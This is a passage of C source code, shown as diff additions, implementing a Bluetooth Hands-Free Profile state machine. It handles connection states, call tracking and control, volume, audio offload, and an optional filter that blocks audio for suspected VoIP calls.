(event) { + CASE_RETURN_STR(HF_CONNECT) + CASE_RETURN_STR(HF_DISCONNECT) + CASE_RETURN_STR(HF_CONNECT_AUDIO) + CASE_RETURN_STR(HF_DISCONNECT_AUDIO) + CASE_RETURN_STR(HF_VOICE_RECOGNITION_START) + CASE_RETURN_STR(HF_VOICE_RECOGNITION_STOP) + CASE_RETURN_STR(HF_SET_VOLUME) + CASE_RETURN_STR(HF_DIAL_NUMBER) + CASE_RETURN_STR(HF_DIAL_MEMORY) + CASE_RETURN_STR(HF_DIAL_LAST) + CASE_RETURN_STR(HF_ACCEPT_CALL) + CASE_RETURN_STR(HF_REJECT_CALL) + CASE_RETURN_STR(HF_HOLD_CALL) + CASE_RETURN_STR(HF_TERMINATE_CALL) + CASE_RETURN_STR(HF_CONTROL_CALL) + CASE_RETURN_STR(HF_QUERY_CURRENT_CALLS) + CASE_RETURN_STR(HF_QUERY_CURRENT_CALLS_WITH_CALLBACK) + CASE_RETURN_STR(HF_SEND_AT_COMMAND) + CASE_RETURN_STR(HF_UPDATE_BATTERY_LEVEL) + CASE_RETURN_STR(HF_SEND_DTMF) + CASE_RETURN_STR(HF_GET_SUBSCRIBER_NUMBER) + CASE_RETURN_STR(HF_TIMEOUT) + CASE_RETURN_STR(HF_OFFLOAD_START_REQ) + CASE_RETURN_STR(HF_OFFLOAD_STOP_REQ) + CASE_RETURN_STR(HF_OFFLOAD_START_EVT) + CASE_RETURN_STR(HF_OFFLOAD_STOP_EVT) + CASE_RETURN_STR(HF_OFFLOAD_TIMEOUT_EVT) + CASE_RETURN_STR(HF_STACK_EVENT) + CASE_RETURN_STR(HF_STACK_EVENT_AUDIO_REQ) + CASE_RETURN_STR(HF_STACK_EVENT_CONNECTION_STATE_CHANGED) + CASE_RETURN_STR(HF_STACK_EVENT_AUDIO_STATE_CHANGED) + CASE_RETURN_STR(HF_STACK_EVENT_VR_STATE_CHANGED) + CASE_RETURN_STR(HF_STACK_EVENT_CALL) + CASE_RETURN_STR(HF_STACK_EVENT_CALLSETUP) + CASE_RETURN_STR(HF_STACK_EVENT_CALLHELD) + CASE_RETURN_STR(HF_STACK_EVENT_CLIP) + CASE_RETURN_STR(HF_STACK_EVENT_CALL_WAITING) + CASE_RETURN_STR(HF_STACK_EVENT_CURRENT_CALLS) + CASE_RETURN_STR(HF_STACK_EVENT_VOLUME_CHANGED) + CASE_RETURN_STR(HF_STACK_EVENT_CMD_RESPONSE) + CASE_RETURN_STR(HF_STACK_EVENT_CMD_RESULT) + CASE_RETURN_STR(HF_STACK_EVENT_RING_INDICATION) + CASE_RETURN_STR(HF_STACK_EVENT_CODEC_CHANGED) + CASE_RETURN_STR(HF_STACK_EVENT_CNUM) + default: + return "UNKNOWN_HF_EVENT"; + } +} +#endif + +static bool flag_isset(hf_state_machine_t* hfsm, pending_state_t flag) +{ + return (bool)(hfsm->pending & flag); +} + +static void flag_set(hf_state_machine_t* hfsm, pending_state_t flag) +{ + hfsm->pending |= flag; +} + +static void flag_clear(hf_state_machine_t* hfsm, pending_state_t flag) +{ + hfsm->pending &= ~flag; +} + +static void pending_action_create(hf_state_machine_t* hfsm, uint32_t cmd_code, void* param) +{ + hf_at_cmd_t* cmd = NULL; + + cmd = zalloc(sizeof(hf_at_cmd_t)); + + cmd->cmd_code = cmd_code; + switch (cmd_code) { + case HFP_ATCMD_CODE_ATD: + case HFP_ATCMD_CODE_BLDN: + if (param) { + strlcpy(cmd->param.number, (const char*)param, sizeof(cmd->param.number)); + } + break; + default: + break; + } + + list_add_tail(&hfsm->pending_actions, &cmd->node); +} + +static hf_at_cmd_t* pending_action_get(hf_state_machine_t* hfsm) +{ + struct list_node* node; + + node = list_remove_head(&hfsm->pending_actions); + + return (hf_at_cmd_t*)node; +} + +static void pending_action_destroy(hf_at_cmd_t* cmd) +{ + if (cmd) + free(cmd); +} + +static void set_current_call_name(hf_state_machine_t* hfsm, char* number, char* name) +{ + bt_list_node_t* cnode; + bt_list_t* clist = hfsm->current_calls; + + if (number == NULL || name == NULL) + return; + + for (cnode = bt_list_head(clist); cnode != NULL; cnode = bt_list_next(clist, cnode)) { + hfp_current_call_t* call = bt_list_node(cnode); + if (!strcmp(call->number, number)) { + if (!strcmp(call->name, name)) + return; + else { + snprintf(call->name, HFP_NAME_DIGITS_MAX, "%s", name); + hf_service_notify_call_state_changed(&hfsm->addr, call); + } + } + } +} + +static bool call_index_cmp(void* data, void* context) +{ + hfp_current_call_t* call = (hfp_current_call_t*)data; + + return call->index == *((int*)context); +} + +static bool call_state_cmp(void* data, void* context) +{ + hfp_current_call_t* call = (hfp_current_call_t*)data; + + return call->state == *((hfp_hf_call_state_t*)context); +} + +static hfp_current_call_t* hf_call_new(uint32_t idx, + hfp_call_direction_t dir, + hfp_hf_call_state_t state, + hfp_call_mpty_type_t mpty, + char* number) +{ + hfp_current_call_t* call = malloc(sizeof(hfp_current_call_t)); + + BT_LOGD("Current Call[%" PRIu32 "]: dir:%d, state:%d, mpty:%d, number:%s", idx, dir, state, mpty, number); + call->index = idx; + call->dir = dir; + call->state = state; + call->mpty = mpty; + snprintf(call->number, HFP_PHONENUM_DIGITS_MAX, "%s", number); + snprintf(call->name, HFP_NAME_DIGITS_MAX, "%s", ""); + + return call; +} + +static void hf_call_delete(void* data) +{ + hfp_current_call_t* call = (hfp_current_call_t*)data; + + free(call); +} + +static hfp_current_call_t* get_call_by_state(hf_state_machine_t* hfsm, hfp_hf_call_state_t state) +{ + return bt_list_find(hfsm->current_calls, call_state_cmp, &state); +} + +static void update_current_calls(hf_state_machine_t* hfsm, hfp_current_call_t* call) +{ + bt_list_add_tail(hfsm->update_calls, call); +} + +static void hf_service_fake_ciev(hf_state_machine_t* hfsm) +{ + HFP_HF_REPORT_CIEV_AND_CACHE(hfsm, call); + HFP_HF_REPORT_CIEV_AND_CACHE(hfsm, callsetup); + HFP_HF_REPORT_CIEV_AND_CACHE(hfsm, callheld); +} + +static void hf_notify_current_calls(hf_state_machine_t* hfsm) +{ + bt_list_t* calls_list = hfsm->current_calls; + hfp_current_call_t calls_array[HFP_CALL_LIST_MAX]; + uint8_t i = 0; + hfp_current_call_t* call; + + for (bt_list_node_t* call_node = bt_list_head(calls_list); call_node != NULL; call_node = bt_list_next(calls_list, call_node)) { + call = bt_list_node(call_node); + memcpy(&calls_array[i], call, sizeof(hfp_current_call_t)); + if (++i >= HFP_CALL_LIST_MAX) { + break; + } + } + hf_service_notify_current_calls(&(hfsm->addr), i, calls_array); + hfsm->need_query_callback = false; +} + +static void query_current_calls_final(hf_state_machine_t* hfsm) +{ + BT_LOGD("Query current call final"); + bt_list_node_t* unode; + bt_list_t* clist = hfsm->current_calls; + bt_list_t* ulist = hfsm->update_calls; + bt_list_node_t* cnode = bt_list_head(clist); + + hf_service_fake_ciev(hfsm); + + while (cnode) { + hfp_current_call_t* ccall = bt_list_node(cnode); + hfp_current_call_t* ucall = bt_list_find(ulist, call_index_cmp, &ccall->index); + bt_list_node_t* next_node = bt_list_next(clist, cnode); + if (!ucall) { + /* call not found from update list, notify had terminated */ + ccall->state = HFP_HF_CALL_STATE_DISCONNECTED; + hf_service_notify_call_state_changed(&hfsm->addr, ccall); + /* resource free in bt_list_remove_node */ + bt_list_remove_node(clist, cnode); + } else { + if (ucall->dir != ccall->dir || ucall->state != ccall->state + || ucall->mpty != ccall->mpty || strcmp(ucall->number, ccall->number)) { + /* call state or mutil part or number changed, notify changed */ + ccall->dir = ucall->dir; + ccall->state = ucall->state; + ccall->mpty = ucall->mpty; + snprintf(ccall->number, HFP_PHONENUM_DIGITS_MAX, "%s", ucall->number); + hf_service_notify_call_state_changed(&hfsm->addr, ccall); + } + } + cnode = next_node; + } + + for (unode = bt_list_head(ulist); unode != NULL; unode = bt_list_next(ulist, unode)) { + hfp_current_call_t* ucall = bt_list_node(unode); + hfp_current_call_t* ccall = bt_list_find(clist, call_index_cmp, &ucall->index); + /* update new call to current call list */ + if (!ccall) { + bt_list_add_tail(clist, ucall); + hf_service_notify_call_state_changed(&hfsm->addr, ucall); + } + } + + if (hfsm->need_query_callback) { + hf_notify_current_calls(hfsm); + } + + flag_clear(hfsm, PENDING_CURRENT_CALLS_QUERY); + + bt_list_clear(ulist); +} + +static void state_machine_reset_calls(hf_state_machine_t* hfsm) +{ + hf_at_cmd_t* node; + + bt_list_clear(hfsm->current_calls); + bt_list_clear(hfsm->update_calls); + while ((node = pending_action_get(hfsm)) != NULL) + pending_action_destroy(node); /* discard pending actions */ + if (hfsm->connect_timer) + service_loop_cancel_timer(hfsm->connect_timer); + hfsm->recognition_active = false; + + hfsm->call_status.last_reported.call_status = HFP_CALL_NO_CALLS_IN_PROGRESS; + hfsm->call_status.last_reported.callheld_status = HFP_CALLHELD_NONE; + hfsm->call_status.last_reported.callsetup_status = HFP_CALLSETUP_NONE; +} + +static void update_remote_features(hf_state_machine_t* hfsm, uint32_t remote_features) +{ + BT_LOGD("%s, remote features:0x%" PRIu32, __func__, remote_features); + hfsm->remote_features = remote_features; +} + +static bt_status_t hf_offload_send_cmd(hf_state_machine_t* hfsm, bool is_start) +{ + uint8_t ogf; + uint16_t ocf; + size_t size; + uint8_t* payload; + hfp_offload_config_t config = { 0 }; + uint8_t offload[CONFIG_VSC_MAX_LEN]; + + config.sco_hdl = hfsm->sco_conn_handle; + config.sco_codec = hfsm->codec; + if (is_start) { + if (!hfp_offload_start_builder(&config, offload, &size)) { + BT_LOGE("HFP HF offload start builder failed"); + assert(0); + } + } else { + if (!hfp_offload_stop_builder(&config, offload, &size)) { + BT_LOGE("HFP HF offload stop builder failed"); + assert(0); + } + } + + payload = offload; + STREAM_TO_UINT8(ogf, payload); + STREAM_TO_UINT16(ocf, payload); + size -= sizeof(ogf) + sizeof(ocf); + + return bt_sal_send_hci_command(PRIMARY_ADAPTER, ogf, ocf, size, payload, bt_hci_event_callback, hfsm); +} + +static bool check_hfp_allowed(hf_state_machine_t* hfsm) +{ + return hfsm->connection_policy != CONNECTION_POLICY_FORBIDDEN; +} + +static void disconnected_enter(state_machine_t* sm) +{ + hf_state_machine_t* hfsm = (hf_state_machine_t*)sm; + + HF_DBG_ENTER(sm, &hfsm->addr); + hfsm->need_query = false; + if (hsm_get_previous_state(sm)) { + bt_pm_conn_close(PROFILE_HFP_HF, &hfsm->addr); +#if defined(CONFIG_BLUETOOTH_CONNECTION_MANAGER) + bt_cm_disconnected(&hfsm->addr, PROFILE_HFP_HF); +#endif + bt_media_remove_listener(hfsm->volume_listener); + hfsm->spk_volume = 0; + hfsm->mic_volume = 0; + hfsm->media_volume = INVALID_MEDIA_VOLUME; + hfsm->volume_listener = NULL; + hfsm->set_volume_cnt = 0; + hf_service_notify_connection_state_changed(&hfsm->addr, PROFILE_STATE_DISCONNECTED); + } + + /* reset cached info */ + state_machine_reset_calls(hfsm); +} + +static void disconnected_exit(state_machine_t* sm) +{ + hf_state_machine_t* hfsm = (hf_state_machine_t*)sm; + + HF_DBG_EXIT(sm, &hfsm->addr); +} + +static bool disconnected_process_event(state_machine_t* sm, uint32_t event, void* p_data) +{ + hf_state_machine_t* hfsm = (hf_state_machine_t*)sm; + hfp_hf_data_t* data = (hfp_hf_data_t*)p_data; + + HF_DBG_EVENT(sm, &hfsm->addr, event); + switch (event) { + case HF_CONNECT: + if (!check_hfp_allowed(hfsm)) { + BT_ADDR_LOG("HF Connect disallowd for %s", &hfsm->addr); + break; + } + + if (bt_sal_hfp_hf_connect(&hfsm->addr) != BT_STATUS_SUCCESS) { + BT_ADDR_LOG("Connect failed for %s", &hfsm->addr); + hf_service_notify_connection_state_changed(&hfsm->addr, PROFILE_STATE_DISCONNECTED); + break; + } + hsm_transition_to(sm, &connecting_state); + break; + case HF_STACK_EVENT_CONNECTION_STATE_CHANGED: { + profile_connection_state_t state = data->valueint1; + + switch (state) { + case PROFILE_STATE_CONNECTED: + hsm_transition_to(sm, &connected_state); + update_remote_features(hfsm, data->valueint3); + break; + case PROFILE_STATE_CONNECTING: + if (!check_hfp_allowed(hfsm)) { + BT_ADDR_LOG("HF Connect disallowd for %s", &hfsm->addr); + bt_sal_hfp_hf_disconnect(&hfsm->addr); + break; + } + + hsm_transition_to(sm, &connecting_state); + break; + case PROFILE_STATE_DISCONNECTED: + case PROFILE_STATE_DISCONNECTING: + BT_LOGW("Ignored connection state:%d", state); + break; + default: + break; + } + break; + } + case HF_OFFLOAD_START_REQ: + audio_ctrl_send_control_event(PROFILE_HFP_HF, AUDIO_CTRL_EVT_START_FAIL); + break; + case HF_OFFLOAD_STOP_REQ: + audio_ctrl_send_control_event(PROFILE_HFP_HF, AUDIO_CTRL_EVT_STOPPED); + break; + case HF_OFFLOAD_STOP_EVT: + audio_ctrl_send_control_event(PROFILE_HFP_HF, AUDIO_CTRL_EVT_STOPPED); + break; + default: + BT_LOGE("Disconnected: Unexpected stack event: %s", stack_event_to_string(event)); + break; + } + + return true; +} + +static void connect_timeout(service_timer_t* timer, void* data) +{ + hf_state_machine_t* hfsm = (hf_state_machine_t*)data; + BT_DFX_HFP_CONN_ERROR(BT_DFXE_HFP_HF_CONN_TIMEOUT); + + hfp_hf_send_event(&hfsm->addr, HF_TIMEOUT); +} + +static void connecting_enter(state_machine_t* sm) +{ + hf_state_machine_t* hfsm = (hf_state_machine_t*)sm; + + HF_DBG_ENTER(sm, &hfsm->addr); + // start connecting timeout timer + hfsm->connect_timer = service_loop_timer_no_repeating(HF_CONNECT_TIMEOUT, connect_timeout, hfsm); + hf_service_notify_connection_state_changed(&hfsm->addr, PROFILE_STATE_CONNECTING); + + bt_pm_busy(PROFILE_HFP_HF, &hfsm->addr); + bt_pm_idle(PROFILE_HFP_HF, &hfsm->addr); +} + +static void connecting_exit(state_machine_t* sm) +{ + hf_state_machine_t* hfsm = (hf_state_machine_t*)sm; + + HF_DBG_EXIT(sm, &hfsm->addr); + // stop timer + service_loop_cancel_timer(hfsm->connect_timer); + hfsm->connect_timer = NULL; +} + +#ifdef CONFIG_HFP_HF_WEBCHAT_BLOCKER +static int64_t calc_us_diff(uint64_t prev_us, uint64_t next_us) +{ + if ((next_us >= prev_us) && ((next_us - prev_us) < (1ULL << 63))) + return (next_us - prev_us); + + return -1; +} +#endif + +static bool check_sco_allowed(state_machine_t* sm) +{ +#ifdef CONFIG_HFP_HF_WEBCHAT_BLOCKER + hf_state_machine_t* hfsm = (hf_state_machine_t*)sm; + uint64_t current_timestamp_us = bt_get_os_timestamp_us(); + int64_t us_diff; + bt_list_node_t* cnode; + bt_list_t* clist = hfsm->current_calls; + uint32_t index; + + /* Verdict 1: allow SCO request if the recent call is initiated by HF */ + us_diff = calc_us_diff(hfsm->call_status.dialing_timestamp_us, current_timestamp_us); + if ((us_diff >= 0) && (us_diff < HF_WEBCHAT_WAIVER_PERIOD)) { + return true; + } + + /* Verdict 2: reject SCO request if the recent call is speculated to be a web chat */ + us_diff = calc_us_diff(hfsm->call_status.webchat_flag_timestamp_us, current_timestamp_us); + if ((us_diff >= 0) && (us_diff < HF_WEBCHAT_BLOCK_PERIOD)) { + hfsm->call_status.webchat_flag_timestamp_us = current_timestamp_us; + BT_LOGD("%s failed: the recent call is speculated to be a web chat", __func__); + return false; + } + + /* Verdict 3: reject SCO request if there is a phone number specifically used for VoIP */ + for (cnode = bt_list_head(clist); cnode != NULL; cnode = bt_list_next(clist, cnode)) { + hfp_current_call_t* ccall = bt_list_node(cnode); + for (index = 0; index < ARRAY_SIZE(voip_call_number); index++) { + if (0 == strcmp(voip_call_number[index], ccall->number)) { + BT_LOGD("%s failed: there is a phone number specifically used for VoIP", __func__); + return false; + } + } + } +#endif + return true; +} + +static void try_disconnect_audio(hf_state_machine_t* hfsm) +{ + BT_ADDR_LOG("Try disconnect audio for :%s", &hfsm->addr); + + if (flag_isset(hfsm, PENDING_AUDIO_DISCONNECT)) { + BT_LOGD("Previous audio disconnection is pending"); + return; + } + + if (bt_sal_hfp_hf_disconnect_audio(&hfsm->addr) != BT_STATUS_SUCCESS) { + BT_LOGE("Failed to disconnect audio"); + return; + } + + // Should set flag when SCO not connected? + if (hf_state_machine_get_state(hfsm) == HFP_HF_STATE_AUDIO_CONNECTED) { + flag_set(hfsm, PENDING_AUDIO_DISCONNECT); + } else { + BT_LOGW("SCO not connected"); + } +} + +#ifdef CONFIG_HFP_HF_WEBCHAT_BLOCKER +static void channel_type_verdict(state_machine_t* sm, uint32_t event, uint32_t status, + uint64_t current_timestamp_us) +{ + hf_state_machine_t* hfsm = (hf_state_machine_t*)sm; + int64_t us_diff; + + switch (event) { + case HF_STACK_EVENT_CALL: + if (((hfp_call_t)status == HFP_CALL_CALLS_IN_PROGRESS) && (hfsm->call_status.call_status == HFP_CALL_NO_CALLS_IN_PROGRESS) && ((hfsm->call_status.callsetup_status == HFP_CALLSETUP_OUTGOING) || (hfsm->call_status.callsetup_status == HFP_CALLSETUP_ALERTING))) { + us_diff = calc_us_diff(hfsm->call_status.callsetup_timestamp_us, current_timestamp_us); + if ((us_diff >= 0) && (us_diff < HF_WEBCHAT_VERDICT)) { + BT_LOGD("%s: this might be a video chat from WeChat", __func__); + hfsm->call_status.webchat_flag_timestamp_us = current_timestamp_us; + if (hf_state_machine_get_state(hfsm) == HFP_HF_STATE_AUDIO_CONNECTED && !check_sco_allowed(sm)) { + try_disconnect_audio(hfsm); + } + } + } + break; + case HF_STACK_EVENT_CALLSETUP: + break; + case HF_STACK_EVENT_CALLHELD: + break; + default: + break; + } +} +#endif + +static void update_dialing_time(state_machine_t* sm, uint64_t current_timestamp_us) +{ + hf_state_machine_t* hfsm = (hf_state_machine_t*)sm; + + BT_LOGD("%s: timestamp = %" PRIu64, __func__, current_timestamp_us); + hfsm->call_status.dialing_timestamp_us = current_timestamp_us; +} + +static void update_call_status(state_machine_t* sm, uint32_t event, uint32_t status) +{ + hf_state_machine_t* hfsm = (hf_state_machine_t*)sm; + uint64_t current_timestamp_us = bt_get_os_timestamp_us(); + +#ifdef CONFIG_HFP_HF_WEBCHAT_BLOCKER + channel_type_verdict(sm, event, status, current_timestamp_us); +#endif + + switch (event) { + case HF_STACK_EVENT_CALL: + hfsm->call_status.call_status = (hfp_call_t)status; + hfsm->call_status.call_timestamp_us = current_timestamp_us; + BT_LOGD("%s: call:%d, timestamp = %" PRIu64, __func__, hfsm->call_status.call_status, + hfsm->call_status.call_timestamp_us); + // hf_service_notify_call(&hfsm->addr, status); + break; + case HF_STACK_EVENT_CALLSETUP: + hfsm->call_status.callsetup_status = (hfp_callsetup_t)status; + hfsm->call_status.callsetup_timestamp_us = current_timestamp_us; + BT_LOGD("%s: callsetup:%d, timestamp = %" PRIu64, __func__, hfsm->call_status.callsetup_status, + hfsm->call_status.callsetup_timestamp_us); + // hf_service_notify_callsetup(&hfsm->addr, status); + break; + case HF_STACK_EVENT_CALLHELD: + hfsm->call_status.callheld_status = (hfp_callheld_t)status; + hfsm->call_status.callheld_timestamp_us = current_timestamp_us; + BT_LOGD("%s: callheld:%d, timestamp = %" PRIu64, __func__, hfsm->call_status.callheld_status, + hfsm->call_status.callsetup_timestamp_us); + // hf_service_notify_callheld(&hfsm->addr, status); + break; + default: + break; + } +} + +static void hf_retry_callback(service_timer_t* timer, void* data) +{ + char _addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + state_machine_t* sm = (state_machine_t*)data; + hf_state_machine_t* hfsm = (hf_state_machine_t*)sm; + hfp_hf_state_t state; + + assert(hfsm); + + bt_addr_ba2str(&hfsm->addr, _addr_str); + state = hf_state_machine_get_state(hfsm); + BT_LOGD("%s: device=[%s], state=%d, retry_cnt=%d", __func__, _addr_str, state, hfsm->retry_cnt); + if (state == HFP_HF_STATE_DISCONNECTED) { + if (bt_sal_hfp_hf_connect(&hfsm->addr) == BT_STATUS_SUCCESS) { + hsm_transition_to(sm, &connecting_state); + } else { + BT_LOGI("failed to connect %s", _addr_str); + BT_DFX_HFP_CONN_ERROR(BT_DFXE_HFP_HF_CONN_RETRY_FAIL); + } + } + + hfsm->retry_timer = NULL; +} + +static bool connecting_process_event(state_machine_t* sm, uint32_t event, void* p_data) +{ + hf_state_machine_t* hfsm = (hf_state_machine_t*)sm; + hfp_hf_data_t* data = (hfp_hf_data_t*)p_data; + uint32_t random_timeout; + + HF_DBG_EVENT(sm, &hfsm->addr, event); + switch (event) { + case HF_STACK_EVENT_CONNECTION_STATE_CHANGED: { + profile_connection_state_t state = data->valueint1; + profile_connection_reason_t reason = data->valueint2; + + switch (state) { + case PROFILE_STATE_DISCONNECTED: + if (reason == PROFILE_REASON_COLLISION && hfsm->retry_cnt < HFP_HF_RETRY_MAX) { + /* failed to establish HFP connection, retry for up to HFP_HF_RETRY_MAX times */ + if (hfsm->retry_timer == NULL) { + srand(time(NULL)); /* set random seed */ + random_timeout = 100 + (rand() % 800); + BT_LOGD("retry HFP connection with device:[%s], delay=%" PRIu32 "ms", + bt_addr_str(&hfsm->addr), random_timeout); + hfsm->retry_timer = service_loop_timer(random_timeout, 0, hf_retry_callback, sm); + hfsm->retry_cnt++; + } + } + hsm_transition_to(sm, &disconnected_state); + break; + case PROFILE_STATE_CONNECTED: + hsm_transition_to(sm, &connected_state); + update_remote_features(hfsm, data->valueint3); + break; + case PROFILE_STATE_CONNECTING: + case PROFILE_STATE_DISCONNECTING: + BT_LOGW("Ignored connection state: %d", state); + break; + default: + break; + } + break; + } + case HF_STACK_EVENT_CODEC_CHANGED: + hfsm->codec = data->valueint1 == HFP_CODEC_MSBC ? HFP_CODEC_MSBC : HFP_CODEC_CVSD; + break; + case HF_STACK_EVENT_CALL: + case HF_STACK_EVENT_CALLSETUP: + case HF_STACK_EVENT_CALLHELD: + update_call_status(sm, event, data->valueint1); + hfsm->need_query = true; + break; + case HF_STACK_EVENT_CLIP: + hfsm->need_query = true; + break; + case HF_TIMEOUT: + BT_LOGI("Connection timeout"); + // try to disconnect peer device + bt_sal_hfp_hf_disconnect(&hfsm->addr); + hsm_transition_to(sm, &disconnected_state); + break; + case HF_OFFLOAD_START_REQ: + audio_ctrl_send_control_event(PROFILE_HFP_HF, AUDIO_CTRL_EVT_START_FAIL); + break; + case HF_OFFLOAD_STOP_REQ: + audio_ctrl_send_control_event(PROFILE_HFP_HF, AUDIO_CTRL_EVT_STOPPED); + break; + case HF_OFFLOAD_STOP_EVT: + audio_ctrl_send_control_event(PROFILE_HFP_HF, AUDIO_CTRL_EVT_STOPPED); + break; + default: + break; + } + return true; +} + +static void accept_call(hf_state_machine_t* hfsm, uint8_t flag) +{ + hfp_call_control_t ctrl; + /* here process INCOMING call */ + if (get_call_by_state(hfsm, HFP_HF_CALL_STATE_INCOMING) != NULL) { + if (flag != HFP_HF_CALL_ACCEPT_NONE) { + BT_LOGE("Have incoming call, error flag none"); + return; + } + + BT_LOGI("Accept incoming call"); + if (bt_sal_hfp_hf_answer_call(&hfsm->addr) != BT_STATUS_SUCCESS) { + BT_LOGE("Answer call failed"); + } + /* here process WAITING call */ + } else if (get_call_by_state(hfsm, HFP_HF_CALL_STATE_WAITING) != NULL) { + if (get_call_by_state(hfsm, HFP_HF_CALL_STATE_ACTIVE) == NULL && flag != HFP_HF_CALL_ACCEPT_NONE) { + /* CHLD 1 CHLD2 only used for HLED call or WAITING call */ + BT_LOGE("When active call not exist, flag can't be hold or release"); + return; + } + + if (flag == HFP_HF_CALL_ACCEPT_NONE || flag == HFP_HF_CALL_ACCEPT_HOLD) { + ctrl = HFP_HF_CALL_CONTROL_CHLD_2; + } else if (flag == HFP_HF_CALL_ACCEPT_RELEASE) { + ctrl = HFP_HF_CALL_CONTROL_CHLD_1; + } else { + BT_LOGE("Accept with error flag"); + return; + } + BT_LOGI("Accept waiting call"); + if (bt_sal_hfp_hf_call_control(&hfsm->addr, ctrl, 0) != BT_STATUS_SUCCESS) + BT_LOGE("Control call:%d error, line:%d", ctrl, __LINE__); + /* here process HELD call */ + } else if (get_call_by_state(hfsm, HFP_HF_CALL_STATE_HELD) != NULL) { + if (flag == HFP_HF_CALL_ACCEPT_HOLD) { + /* if flag want hold, hold active call and accpet hold call */ + ctrl = HFP_HF_CALL_CONTROL_CHLD_2; + } else if (flag == HFP_HF_CALL_ACCEPT_RELEASE) { + /* if flag want release, release all active call and accept hold call */ + ctrl = HFP_HF_CALL_CONTROL_CHLD_1; + } else if (get_call_by_state(hfsm, HFP_HF_CALL_STATE_ACTIVE) != NULL) { + /* add held call to convesation */ + ctrl = HFP_HF_CALL_CONTROL_CHLD_3; + } else + ctrl = HFP_HF_CALL_CONTROL_CHLD_2; + + BT_LOGI("Accept held call"); + if (bt_sal_hfp_hf_call_control(&hfsm->addr, ctrl, 0) != BT_STATUS_SUCCESS) + BT_LOGE("Control call:%d error, line:%d", ctrl, __LINE__); + } else { + BT_LOGE("No incoming/waiting/held call to accept"); + } +} + +static void reject_call(hf_state_machine_t* hfsm) +{ + if (get_call_by_state(hfsm, HFP_HF_CALL_STATE_INCOMING) != NULL) { + BT_LOGI("Reject incoming call"); + if (bt_sal_hfp_hf_reject_call(&hfsm->addr) != BT_STATUS_SUCCESS) { + BT_LOGE("Reject call failed"); + } + } else if (get_call_by_state(hfsm, HFP_HF_CALL_STATE_HELD) != NULL || get_call_by_state(hfsm, HFP_HF_CALL_STATE_WAITING) != NULL) { + BT_LOGI("Reject waiting call"); + if (bt_sal_hfp_hf_call_control(&hfsm->addr, HFP_HF_CALL_CONTROL_CHLD_0, 0) != BT_STATUS_SUCCESS) + BT_LOGE("Reject waiting call(CHLD0) error, line:%d", __LINE__); + } else { + BT_LOGE("No call to reject"); + } +} + +static void hangup_call(hf_state_machine_t* hfsm) +{ + if (get_call_by_state(hfsm, HFP_HF_CALL_STATE_ACTIVE) != NULL || get_call_by_state(hfsm, HFP_HF_CALL_STATE_DIALING) != NULL || get_call_by_state(hfsm, HFP_HF_CALL_STATE_ALERTING) != NULL) { + BT_LOGI("Terminate active/dialing/alerting call"); + if (bt_sal_hfp_hf_hangup_call(&hfsm->addr) != BT_STATUS_SUCCESS) + BT_LOGE("Terminate call failed"); + } else if (get_call_by_state(hfsm, HFP_HF_CALL_STATE_HELD) != NULL) { + BT_LOGI("Release held call"); + if (bt_sal_hfp_hf_call_control(&hfsm->addr, HFP_HF_CALL_CONTROL_CHLD_0, 0) != BT_STATUS_SUCCESS) + BT_LOGE("Release held call(CHLD0) error, line:%d", __LINE__); + } else + BT_LOGE("No call to terminate"); +} + +static void hold_call(hf_state_machine_t* hfsm) +{ + if (get_call_by_state(hfsm, HFP_HF_CALL_STATE_ACTIVE) != NULL) { + BT_LOGI("Hold active call"); + if (bt_sal_hfp_hf_call_control(&hfsm->addr, HFP_HF_CALL_CONTROL_CHLD_2, 0) != BT_STATUS_SUCCESS) { + BT_LOGE("Hold active call(CHLD2) failed"); + } + } else + BT_LOGE("No call to hold"); +} + +static void handle_dailing_fail(state_machine_t* sm, char* number) +{ + hf_state_machine_t* hfsm = (hf_state_machine_t*)sm; + hfp_current_call_t call = { 0 }; + BT_LOGD("%s, %s", __func__, bt_addr_str(&hfsm->addr)); + + call.dir = HFP_CALL_DIRECTION_OUTGOING; + call.state = HFP_HF_CALL_STATE_DISCONNECTED; + if (number) { + BT_LOGD("number: %s", number); + strlcpy(call.number, number, sizeof(call.number)); + } + + hf_service_notify_call_state_changed(&hfsm->addr, &call); +} + +static void handle_hf_set_voice_call_volume(state_machine_t* sm, hfp_volume_type_t type, uint8_t volume) +{ + hf_state_machine_t* hfsm = (hf_state_machine_t*)sm; + bt_status_t status = BT_STATUS_SUCCESS; + int new_volume = INVALID_MEDIA_VOLUME; + + if (type == HFP_VOLUME_TYPE_SPK) { + hfsm->spk_volume = volume; + + new_volume = bt_media_volume_hfp_to_media(volume); + if (new_volume == hfsm->media_volume) { + return; + } + + status = bt_media_set_voice_call_volume(new_volume); + if (status != BT_STATUS_SUCCESS) { + BT_LOGE("Set media voice call volume failed"); + } else if (hfsm->set_volume_cnt < UINT32_MAX) { + hfsm->set_volume_cnt++; + } + + } else if (type == HFP_VOLUME_TYPE_MIC) { + hfsm->mic_volume = volume; + } +} + +static bt_status_t query_current_calls_with_callback(hf_state_machine_t* hfsm) +{ + if (flag_isset(hfsm, PENDING_CURRENT_CALLS_QUERY)) { + BT_LOGD("Service is querying current calls, wait until done before callback."); + hfsm->need_query_callback = true; + return BT_STATUS_SUCCESS; + } + + hf_notify_current_calls(hfsm); + return BT_STATUS_SUCCESS; +} + +static bool default_process_event(state_machine_t* sm, uint32_t event, hfp_hf_data_t* data) +{ + hf_state_machine_t* hfsm = (hf_state_machine_t*)sm; + bt_status_t status; + BT_LOGD("%s, event=%" PRIu32 "", __func__, event); + + switch (event) { + case HF_ACCEPT_CALL: + accept_call(hfsm, data->valueint1); + break; + case HF_REJECT_CALL: + reject_call(hfsm); + break; + case HF_HOLD_CALL: + hold_call(hfsm); + break; + case HF_TERMINATE_CALL: + hangup_call(hfsm); + break; + case HF_CONTROL_CALL: { + hfp_call_control_t chld = data->valueint1; + if (chld > 4) { + BT_LOGE("Call control error code:%d, line:%d", chld, __LINE__); + return false; + } + status = bt_sal_hfp_hf_call_control(&hfsm->addr, chld, 0); + if (status != BT_STATUS_SUCCESS) + BT_LOGE("Call control error:%d, line:%d", status, __LINE__); + break; + } + case HF_QUERY_CURRENT_CALLS: + status = bt_sal_hfp_hf_get_current_calls(&hfsm->addr); + if (status != BT_STATUS_SUCCESS) + BT_LOGE("Query current call failed"); + break; + case HF_QUERY_CURRENT_CALLS_WITH_CALLBACK: + status = query_current_calls_with_callback(hfsm); + if (status != BT_STATUS_SUCCESS) { + BT_LOGE("Query current call with callback failed"); + } + break; + case HF_SEND_AT_COMMAND: { + status = 